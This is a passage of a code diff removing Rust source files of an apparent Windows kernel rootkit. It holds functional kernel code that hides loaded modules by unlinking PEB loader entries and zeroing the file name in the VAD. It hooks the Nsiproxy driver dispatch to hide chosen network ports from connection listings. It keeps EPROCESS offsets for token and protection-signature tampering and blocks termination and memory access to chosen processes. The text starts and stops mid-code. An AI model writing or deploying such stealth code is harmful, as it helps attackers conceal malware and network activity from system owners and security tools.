return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
}
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
// Populates the `ModuleInfo` structure with name, address, and index
modules.push(ModuleInfo {
name,
address: (*list_entry).DllBase as usize,
index: count as u8,
});
count += 1;
// Move to the next module in the list
next = (*next).Flink;
}
// Detaches the target process
attach_process.detach();
Ok(modules)
}
/// Hides a module in a target process by removing its entries from the module list.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result<NTSTATUS, ShadowError> {
let target = Process::new(pid)?;
let mut attach_process = ProcessAttach::new(target.e_process);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
}
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
let mut address = core::ptr::null_mut();
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
}
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
if buffer.is_empty() {
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
}
// Check if the module name matches
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if dll_name.to_lowercase() == module_name{
// Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
Self::remove_link(&mut (*list_entry).HashLinks);
address = (*list_entry).DllBase;
break;
}
next = (*next).Flink;
}
// Detaches the target process
attach_process.detach();
if !address.is_null() {
Self::hide_object(address as u64, target);
}
Ok(STATUS_SUCCESS)
}
/// Removing the module name in the FILE_OBJECT structure.
///
/// # Arguments
///
/// * `target_address` - The address of the module to hide.
/// * `process` - The target process structure.
///
/// # Returns
///
/// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<(), NTSTATUS> {
let vad_root = get_vad_root();
let vad_table = process.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
let current_node = vad_table;
// Uses a stack to iteratively traverse the tree
let mut stack = alloc::vec![vad_table];
while let Some(current_node) = stack.pop() {
if current_node.is_null() {
continue;
}
// Converts the current node to an MMVAD_SHORT
let vad_short = current_node as *mut MMVAD_SHORT;
// Calculates start and end addresses
let mut start_address = (*vad_short).StartingVpn as u64;
let mut end_address = (*vad_short).EndingVpn as u64;
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
start_address |= ((*vad_short).StartingVpnHigh as u64) << 32;
end_address |= ((*vad_short).EndingVpnHigh as u64) << 32;
// Multiply the addresses by 0x1000 (page size) to get the real addresses
let start_address = start_address * 0x1000;
let end_address = end_address * 0x1000;
if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
let long_node = vad_short as *mut MMVAD;
let subsection = (*long_node).SubSection;
if subsection.is_null() || (*subsection).ControlArea.is_null() || (*(*subsection).ControlArea).FilePointer.Inner.Object.is_null() {
return Err(STATUS_INVALID_ADDRESS);
}
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT;
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
break;
}
// Stack the right node (if there is one)
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right);
}
// Stack the left node (if there is one)
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left);
}
}
Ok(())
}
/// Removes a link from the list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink.
unsafe fn remove_link(list: &mut LIST_ENTRY) {
let next = list.Flink;
let previous = list.Blink;
(*next).Blink = previous;
(*previous).Flink = next;
list.Flink = list;
list.Blink = list;
}
}

View File

@@ -1,189 +0,0 @@
use spin::Lazy;
use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW};
/// Constant values for Windows build numbers.
const WIN_1507: u32 = 10240;
const WIN_1511: u32 = 10586;
const WIN_1607: u32 = 14393;
const WIN_1703: u32 = 15063;
const WIN_1709: u32 = 16299;
const WIN_1803: u32 = 17134;
const WIN_1809: u32 = 17763;
const WIN_1903: u32 = 18362;
const WIN_1909: u32 = 18363;
const WIN_2004: u32 = 19041;
const WIN_20H2: u32 = 19042;
const WIN_21H1: u32 = 19043;
const WIN_21H2: u32 = 19044;
const WIN_22H2: u32 = 19045;
/// Constant values for Windows build numbers (Not currently used)
#[allow(dead_code)]
const WIN_1121H2: u32 = 22000;
#[allow(dead_code)]
const WIN_1122H2: u32 = 22621;
/// Holds the Windows build number initialized at runtime.
///
/// This value is fetched using the `get_windows_build_number` function,
/// which utilizes the `RtlGetVersion` API from the Windows kernel.
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
/// Retrieves the process lock offset based on the current Windows build number.
///
/// This function returns the offset for the process lock field in the `EPROCESS` structure
/// for the current version of Windows.
///
/// # Returns
///
/// * The offset (in bytes) to the process lock field.
#[inline]
pub fn get_process_lock() -> isize {
match *BUILD_NUMBER {
WIN_1507 => 0x608,
WIN_1511 => 0x610,
WIN_1607 => 0x620,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
WIN_1903 | WIN_1909 => 0x658,
_ => 0x7d8,
}
}
/// Retrieves the active process link offset based on the current Windows build number.
///
/// This function returns the offset for the active process link in the `EPROCESS` structure,
/// which points to the list of processes in the active process chain.
///
/// # Returns
///
/// * The offset (in bytes) to the active process link.
#[inline]
pub fn get_active_process_link_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8,
_ => 0x448
}
}
/// Retrieves the VAD root offset based on the current Windows build number.
///
/// This function returns the offset for the VAD (Virtual Address Descriptor) root
/// in the `EPROCESS` structure for different Windows versions.
///
/// # Returns
///
/// * The offset (in bytes) to the VAD root field.
#[inline]
pub fn get_vad_root() -> u32 {
match *BUILD_NUMBER {
WIN_1507 => 0x608,
WIN_1511 => 0x610,
WIN_1607 => 0x620,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
WIN_1903 | WIN_1909 => 0x658,
_ => 0x7d8,
}
}
/// Retrieves the token offset based on the current Windows build number.
///
/// This function returns the offset for the token field in the `EPROCESS` structure,
/// which points to the access token that represents the security context of a process.
/// The token contains privileges, group memberships, and other security-related information.
///
/// # Returns
///
/// * The offset (in bytes) to the token field in the `EPROCESS` structure.
#[inline]
pub fn get_token_offset() -> isize {
match *BUILD_NUMBER {
WIN_1903 | WIN_1909 => 0x360,
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709
| WIN_1803 | WIN_1809 => 0x358,
_ => 0x4b8,
}
}
/// Retrieves the protection signature offset based on the current Windows build number.
///
/// This function returns the offset for the protection signature field in the `EPROCESS` structure.
/// This field defines the protection type and the signer of the protection for the process,
/// allowing certain processes to be protected from termination or modification.
///
/// # Returns
///
/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
#[inline]
pub fn get_signature_offset() -> isize {
match *BUILD_NUMBER {
WIN_1903 | WIN_1909 => 0x6f8,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8,
WIN_1607 => 0x6c0,
WIN_1511 => 0x6b0,
WIN_1507 => 0x6a8,
_ => 0x878
}
}
/// Retrieves the thread list entry offset based on the current Windows build number.
///
/// This function returns the offset for the thread list entry in the `EPROCESS` structure.
/// The thread list entry links all the threads belonging to a process, allowing the system
/// to traverse the list of threads for each process.
///
/// # Returns
///
/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
#[inline]
pub fn get_thread_lock_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 | WIN_1511 => 0x690,
WIN_1607 => 0x698,
WIN_1703 => 0x6a0,
WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8,
WIN_1903 | WIN_1909 => 0x6b8,
WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8,
WIN_22H2 => 0x500,
_ => 0x538
}
}
/// Retrieves the thread lock offset based on the current Windows build number.
///
/// This function returns the offset for the thread lock field in the `EPROCESS` structure.
/// The thread lock is used to synchronize access to the list of threads within a process,
/// ensuring thread-safe operations when managing process threads.
///
/// # Returns
///
/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
#[inline]
pub fn get_thread_list_entry_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 => 0x480,
WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809
| WIN_1903 | WIN_1909 => 0x488,
WIN_22H2 => 0x4e8,
_ => 0x5e0
}
}
/// Retrieves the Windows build number using the `RtlGetVersion` API.
///
/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version,
/// including the build number. It is used to determine which Windows version the code is running on.
///
/// # Returns
///
/// * The Windows build number or `0` if the call to `RtlGetVersion` fails.
pub fn get_windows_build_number() -> u32 {
unsafe {
let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed();
if RtlGetVersion(&mut os_info) == 0 {
return os_info.dwBuildNumber;
}
}
0
}

View File

@@ -1,527 +0,0 @@
use {
alloc::vec::Vec,
log::{error, warn},
spin::{Mutex, lazy::Lazy},
wdk_sys::{
*,
_MODE::KernelMode,
ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead},
},
core::{
ptr::{null_mut, copy},
sync::atomic::{AtomicPtr, Ordering, AtomicBool},
ffi::c_void, mem::size_of, slice::from_raw_parts_mut,
},
};
use {
common::{
structs::TargetPort,
enums::{PortType, Protocol},
},
crate::{
error::ShadowError,
utils::{
pool::PoolMemory, uni::str_to_unicode,
valid_kernel_memory, valid_user_memory,
},
data::{
COMUNICATION_TYPE,
ObReferenceObjectByName, IoDriverObjectType,
NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY,
NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY
},
}
};
const MAX_PORT: usize = 100;
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
/// Indicates whether the callback has been activated.
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
/// List of protected ports, synchronized with a mutex.
///
/// This static variable holds the list of protected network ports, using a `Mutex` to ensure
/// thread-safe access. It is initialized with a capacity of `MAX_PORT`.
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information.
pub struct Port;
impl Port {
/// Control code for the NSI communication.
const NIS_CONTROL_CODE: u32 = 1179675;
/// Network driver name.
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
/// Installs a hook into the NSI proxy driver to intercept network table operations.
///
/// This function installs a hook into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL`
/// dispatch function with a custom hook (`hook_nsi`). It stores the original function in a static
/// atomic pointer for later restoration.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the hook is installed successfully.
/// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found.
pub unsafe fn install_hook() -> Result<NTSTATUS, ShadowError> {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void
);
// Check if the driver object was referenced successfully.
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
}
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
if let Some(original_function) = major_function.take() {
// Store the original dispatch function.
let original_function_ptr = original_function as *mut ();
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
// Replace the dispatch function with the hook.
*major_function = Some(Self::hook_nsi);
HOOK_INSTALLED.store(true, Ordering::SeqCst);
} else {
ObfDereferenceObject(driver_object as _);
return Err(ShadowError::HookFailure);
}
// Dereference the driver object after setting up the hook.
ObfDereferenceObject(driver_object as _);
Ok(STATUS_SUCCESS)
}
/// Uninstalls the NSI hook, restoring the original dispatch function.
///
/// This function uninstalls the previously installed NSI hook, restoring the original dispatch
/// function that was replaced.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled.
/// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed.
pub unsafe fn uninstall_hook() -> Result<NTSTATUS, ShadowError> {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut c_void,
);
// Handle error if the driver object can't be referenced.
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
}
// If the hook is installed, restore the original dispatch function.
if HOOK_INSTALLED.load(Ordering::SeqCst) {
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
if !original_function_ptr.is_null() {
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
*major_function = original_function;
HOOK_INSTALLED.store(false, Ordering::SeqCst);
} else {
ObfDereferenceObject(driver_object as _);
return Err(ShadowError::HookFailure);
}
} else {
ObfDereferenceObject(driver_object as _);
return Err(ShadowError::HookFailure);
}
// Dereference the driver object after removing the hook.
ObfDereferenceObject(driver_object as _);
Ok(STATUS_SUCCESS)
}
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
///
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
/// to inspect and potentially modify network entries.
///
/// # Arguments
///
/// * `device_object` - Pointer to the device object associated with the request.
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
///
/// # Returns
///
/// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
// If the control code matches, we replace the completion routine with a custom one.
if control_code == Self::NIS_CONTROL_CODE {
let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, u32::from_be_bytes(*b"giud"));
if let Some(addr) = context {
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
(*address).0 = (*stack).CompletionRoutine;
(*address).1 = (*stack).Context;
(*stack).Context = address as *mut c_void;
(*stack).CompletionRoutine = Some(Self::irp_complete);
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
// Prevent memory deallocation.
core::mem::forget(addr);
}
}
// Call the original dispatch function.
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
}
/// Completion routine that modifies network table entries after an NSI operation.
///
/// This function is called when the IRP operation completes, and it processes the network
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
/// routine, passing the results of the modified entries back to the caller.
///
/// # Arguments
///
/// * `device_object` - Pointer to the device object associated with the IRP.
/// * `irp` - Pointer to the IRP being completed.
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
///
/// # Returns
///
/// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
unsafe extern "C" fn irp_complete(
device_object: *mut DEVICE_OBJECT,
irp: *mut IRP,
context: *mut c_void
) -> NTSTATUS {
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
// Validate the status of the IRP.
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
let mut status_success = true;
// Ensure that the NSI parameter is valid and the context can be accessed.
if !valid_user_memory(nsi_param as u64) && !PortUtils::validate_context(nsi_param as _) {
status_success = false;
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
status_success = false;
}
// If the entries are valid, process them.
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
// Loop through all entries in the NSI parameter.
for i in 0..(*nsi_param).Count {
match (*nsi_param).Type_ {
COMUNICATION_TYPE::TCP => {
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) {
// Convert the port numbers from big-endian to the host's native format.
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
PortUtils::process_entry_copy(
tcp_entries,
(*nsi_param).Count,
i,
local_port,
Some(remote_port),
Protocol::TCP,
(*nsi_param).StatusEntries,
(*nsi_param).ProcessEntries,
nsi_param,
);
}
},
COMUNICATION_TYPE::UDP => {
// Check if the UDP local port is a valid user-mode memory address.
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
// Convert the local port number from big-endian to the host's native format.
let local_port = u16::from_be((*udp_entries.add(i)).Port);
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
PortUtils::process_entry_copy(
udp_entries,
(*nsi_param).Count,
i,
local_port,
None,
Protocol::UDP,
(*nsi_param).StatusEntries,
(*nsi_param).ProcessEntries,
nsi_param,
);
}
}
}
}
}
}
// Call the original completion routine if one exists.
if let Some(original_routine) = (*context_addr).0 {
let mut original_context = null_mut();
if !(*context_addr).1.is_null() {
original_context = (*context_addr).1;
}
ExFreePool(context as *mut _);
return original_routine(device_object, irp, original_context);
}
ExFreePool(context as *mut _);
STATUS_SUCCESS
}
}
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
pub struct PortUtils;
impl PortUtils {
/// Validates a memory address to ensure it can be safely accessed from kernel mode.
///
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
///
/// # Arguments
///
/// * `address` - The memory address to validate.
///
/// # Returns
///
/// * Return `true` if the address is valid and accessible or `false` if an exception occurs while probing the address.
unsafe fn validate_context(address: *mut c_void) -> bool {
let result = microseh::try_seh(|| {
ProbeForRead(address, size_of::<NSI_PARAM>() as u64, size_of::<NSI_PARAM>() as u32);
});
match result {
Ok(_) => true,
Err(err) => {
error!("Exception when trying to read the address: {:?}", err.code());
false
}
}
}
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
/// and process entries if necessary.
///
/// This function is used to modify NSI (Network Store Interface) table entries during a network
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
/// "hiding" specific network ports.
///
/// # Arguments
///
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
/// * `i` - The index of the current entry being processed.
/// * `local_port` - The local port number associated with the current entry.
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
unsafe fn process_entry_copy<T: Sized>(
entries: *mut T,
count: usize,
i: usize,
local_port: u16,
remote_port: Option<u16>,
protocol: Protocol,
status_entries: *mut NSI_STATUS_ENTRY,
process_entries: *mut NSI_PROCESS_ENTRY,
nsi_param: *mut NSI_PARAM
) {
let port_number = match (local_port, remote_port) {
(0, Some(remote)) if remote != 0 => remote, // Use remote port if local is zero.
(local, _) if local != 0 => local, // Use local port if it's non-zero.
_ => {
warn!("Both doors are zero, there is no way to process the entrance.");
return;
}
};
let port_type = if remote_port.unwrap_or(0) != 0 {
PortType::REMOTE
} else {
PortType::LOCAL
};
let info = TargetPort {
protocol,
port_type,
port_number,
enable: true,
};
// If the port is protected, modify the network entries.
if check_port(info) {
let mut entries_index = i + 1;
if entries_index >= count {
entries_index = i - 1;
}
// Copies TCP/UDP entries.
let entries_slice = from_raw_parts_mut(entries, count);
copy(
&entries_slice[entries_index],
&mut entries_slice[i],
count - entries_index,
);
// Verify and copy status_entries.
if !status_entries.is_null() {
let status_entries_slice = from_raw_parts_mut(status_entries, count);
if entries_index < status_entries_slice.len() {
copy(
&status_entries_slice[entries_index],
&mut status_entries_slice[i],
count - entries_index,
);
}
}
// Check and copy process_entries.
if !process_entries.is_null() {
let process_entries_slice = from_raw_parts_mut(process_entries, count);
if entries_index < process_entries_slice.len() {
copy(
&process_entries_slice[entries_index],
&mut process_entries_slice[i],
count - entries_index,
);
}
}
}
}
}
/// Toggles the addition or removal of a port from the list of protected ports.
///
/// If the `enable` flag in the `TargetPort` is `true`, the port is added to the list of protected ports.
/// Otherwise, the port is removed from the list.
///
/// # Arguments
///
/// * `port` - A mutable pointer to a `TargetPort` structure, containing information about the port
/// to be added or removed.
///
/// # Return
///
/// * Returns `STATUS_SUCCESS` if the operation is completed successfully or
/// `STATUS_UNSUCCESSFUL` if the operation fails (e.g., the port list is full or the port couldn't be removed).
pub fn add_remove_port_toggle(port: *mut TargetPort) -> NTSTATUS {
if (unsafe { *port }).enable {
add_target_port(port)
} else {
remove_target_port(port)
}
}
/// Adds a port to the list of protected ports.
///
/// This function locks the `PROTECTED_PORTS` list and tries to add the given `TargetPort`.
/// If the port is already in the list or the list is full, the operation will fail.
///
/// # Arguments
///
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added.
///
/// # Return
///
/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list.
/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list.
/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails.
fn add_target_port(port: *mut TargetPort) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
let port = unsafe { *port };
if ports.len() >= MAX_PORT {
return STATUS_UNSUCCESSFUL;
}
if ports.contains(&port) {
return STATUS_DUPLICATE_OBJECTID;
}
ports.push(port);
STATUS_SUCCESS
}
/// Removes a port from the list of protected ports.
///
/// This function locks the `PROTECTED_PORTS` list and attempts to remove the specified `TargetPort`.
///
/// # Arguments
///
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed.
///
/// # Return
///
/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list
/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list.
fn remove_target_port(port: *mut TargetPort) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
(unsafe { *port }).enable = true;
if let Some(index) = ports.iter().position(|&p| {
p.protocol == (unsafe { *port }).protocol
&& p.port_type == (unsafe { *port }).port_type
&& p.port_number == (unsafe { *port }).port_number
}) {
ports.remove(index);
STATUS_SUCCESS
} else {
error!("Port {:?} not found in the list", port);
STATUS_UNSUCCESSFUL
}
}
/// Checks if a port is in the list of protected ports.
///
/// This function locks the `PROTECTED_PORTS` list and checks whether the given port is in the list.
///
/// # Arguments
///
/// * `port` - A `TargetPort` structure that represents the port to be checked.
///
/// # Return
///
/// * Returns `true` if the port is in the protected list, otherwise returns `false`.
pub fn check_port(port: TargetPort) -> bool {
PROTECTED_PORTS.lock().contains(&port)
}

View File

@@ -1,124 +0,0 @@
use {
alloc::vec::Vec,
spin::{Lazy, Mutex},
common::structs::TargetProcess,
winapi::um::winnt::{
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
PROCESS_VM_OPERATION, PROCESS_VM_READ
},
wdk_sys::{
*,
ntddk::PsGetProcessId,
_OB_PREOP_CALLBACK_STATUS::{
Type, OB_PREOP_SUCCESS
},
},
};
pub struct ProcessCallback;
const MAX_PID: usize = 100;
/// Handle for the process callback registration.
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut core::ffi::c_void = core::ptr::null_mut();
/// List of target PIDs protected by a mutex.
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_PID))
);
impl ProcessCallback {
/// Method for adding the list of processes that will have anti-kill / dumping protection.
///
/// # Arguments
///
/// * `pid` - The identifier of the target process (PID) to be hidden.
///
/// # Returns
///
/// * A status code indicating the success or failure of the operation.
pub fn add_target_pid(pid: usize) -> NTSTATUS {
let mut pids = TARGET_PIDS.lock();
if pids.len() >= MAX_PID {
return STATUS_QUOTA_EXCEEDED;
}
if pids.contains(&pid) {
return STATUS_DUPLICATE_OBJECTID;
}
pids.push(pid);
STATUS_SUCCESS
}
/// Method for removing the list of processes that will have anti-kill / dumping protection.
///
/// # Arguments
///
/// * `pid` - The identifier of the target process (PID) to be hidden.
///
/// # Returns
///
/// * A status code indicating the success or failure of the operation.
pub fn remove_target_pid(pid: usize) -> NTSTATUS {
let mut pids = TARGET_PIDS.lock();
if let Some(index) = pids.iter().position(|&x| x == pid) {
pids.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
/// Enumerate Processes Protect.
///
/// # Returns
///
/// * A status code indicating success or failure of the operation.
pub unsafe fn enumerate_protection_processes() -> Vec<TargetProcess> {
let mut processes: Vec<TargetProcess> = Vec::new();
let process_info = TARGET_PIDS.lock();
for i in process_info.iter() {
processes.push(TargetProcess {
pid: *i,
..Default::default()
});
}
processes
}
/// The object (process) pre-operation callback function used to filter process opening operations.
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
///
/// # Arguments
///
/// * `_registration_context` - Pointer to record context (Not used).
/// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
///
/// # Returns
///
/// * A status code indicating the success or failure of the operation.
pub unsafe extern "C" fn on_pre_open_process(
_registration_context: *mut core::ffi::c_void,
info: *mut OB_PRE_OPERATION_INFORMATION,
) -> Type {
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
return OB_PREOP_SUCCESS;
}
let process = (*info).Object as PEPROCESS;
let pid = PsGetProcessId(process) as usize;
let pids = TARGET_PIDS.lock();
if pids.contains(&pid) {
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
}
OB_PREOP_SUCCESS
}
}

View File

@@ -1,341 +0,0 @@
use {
alloc::vec::Vec,
spin::{Lazy, Mutex},
wdk_sys::{ntddk::*, *,},
};
use {
common::structs::TargetProcess,
crate::{
error::ShadowError,
structs::PROCESS_SIGNATURE,
lock::with_push_lock_exclusive,
offsets::{
get_process_lock,
get_token_offset,
get_signature_offset,
get_active_process_link_offset,
}
}
};
pub mod callback;
pub use callback::*;
const MAX_PID: usize = 100;
/// Represents a process in the operating system.
///
/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used
/// in Windows kernel development. It allows for looking up a process by its PID and ensures
/// proper cleanup of resources when the structure goes out of scope.
pub struct Process {
/// Pointer to the EPROCESS structure, used for managing process information.
pub e_process: PEPROCESS,
}
impl Process {
/// Creates a new `Process` instance by looking up a process by its PID.
///
/// This method attempts to find a process using its process identifier (PID). If the process
/// is found, it returns an instance of the `Process` structure containing a pointer to the
/// `EPROCESS` structure.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the process to be looked up.
///
/// # Returns
///
/// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful.
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
///
/// # Examples
///
/// ```rust
/// let process = Process::new(1234);
/// match process {
/// Ok(proc) => println!("Process found: {:?}", proc.e_process),
/// Err(e) => println!("Error: {}", e),
/// }
/// ```
#[inline]
